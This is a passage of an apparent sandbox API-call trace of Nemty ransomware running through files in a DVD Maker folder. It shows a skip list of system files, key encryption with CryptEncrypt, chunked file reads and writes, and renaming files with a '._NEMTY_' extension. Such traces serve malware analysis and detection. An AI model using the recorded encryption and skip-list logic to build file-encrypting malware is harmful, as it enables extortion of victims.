lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.217] CloseHandle (hObject=0xffffffff) returned 0 [0059.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0059.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0059.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0059.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.217] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png._nemty_kgobjgd_")) returned 0 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.218] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2=".") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="..") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="...") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="windows") returned -1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="$RECYCLE.BIN") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="rsa") returned -1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="NTDETECT.COM") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="ntldr") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="MSDOS.SYS") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="IO.SYS") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="boot.ini") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="boot.ini") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="ntuser.dat") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="desktop.ini") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="CONFIG.SYS") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="RECYCLER") returned -1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="BOOTSECT.BAK") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="bootmgr") returned 1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="programdata") returned -1 [0059.218] lstrcmpiW (lpString1="play-static.png", lpString2="appdata") returned 1 [0059.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-static.png", lpUsedDefaultChar=0x0) returned 15 [0059.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-static.png", lpUsedDefaultChar=0x0) returned 15 [0059.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-static.png", lpUsedDefaultChar=0x0) returned 15 [0059.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play-static.png", lpUsedDefaultChar=0x0) returned 15 [0059.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0059.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0059.219] Sleep (dwMilliseconds=0x5) [0059.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6f38990, dwHighDateTime=0x1d561e7)) [0059.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6f38990, dwHighDateTime=0x1d561e7)) [0059.231] GetLastError () returned 0x5 [0059.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.231] GetLastError () returned 0x5 [0059.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0059.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0059.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0059.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="cg7cwfORIRmnvQU5DGg+FDVyvrVupv8ynUtpekNs+ZL+lc+5Jm4lV5lKMJ+3pECH\r\noDO61H5Uxivd/dZm8HIoUhkjSBo29EZxiomv6GttHn8NtBMnNfNgO+CmmFbNEi4E\r\nGfSWbOllSTOyIn+1tmMQT7pqRdoIAUwCVdQhz8f0wWaL06/FpVBUAjyC2aG4wtCy\r\n6dIVleebcpgtFtZ59yDhdDVGG7k83MCUAWEGNEOoeO+5ZClJ+FpkZ5jXkAUHhm4d\r\nO+C8GuBS4euEn842jvktByMFGyuh79JWcVvJpPGmioPdMKfI4LQ8/D2O+Mch/9Bz\r\nCCFqNjmM6BdxHDs21/HptA==\r\n", pcchString=0x653e91c) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0059.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0059.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0059.232] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.232] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0059.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0059.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.353] WriteFile (in: 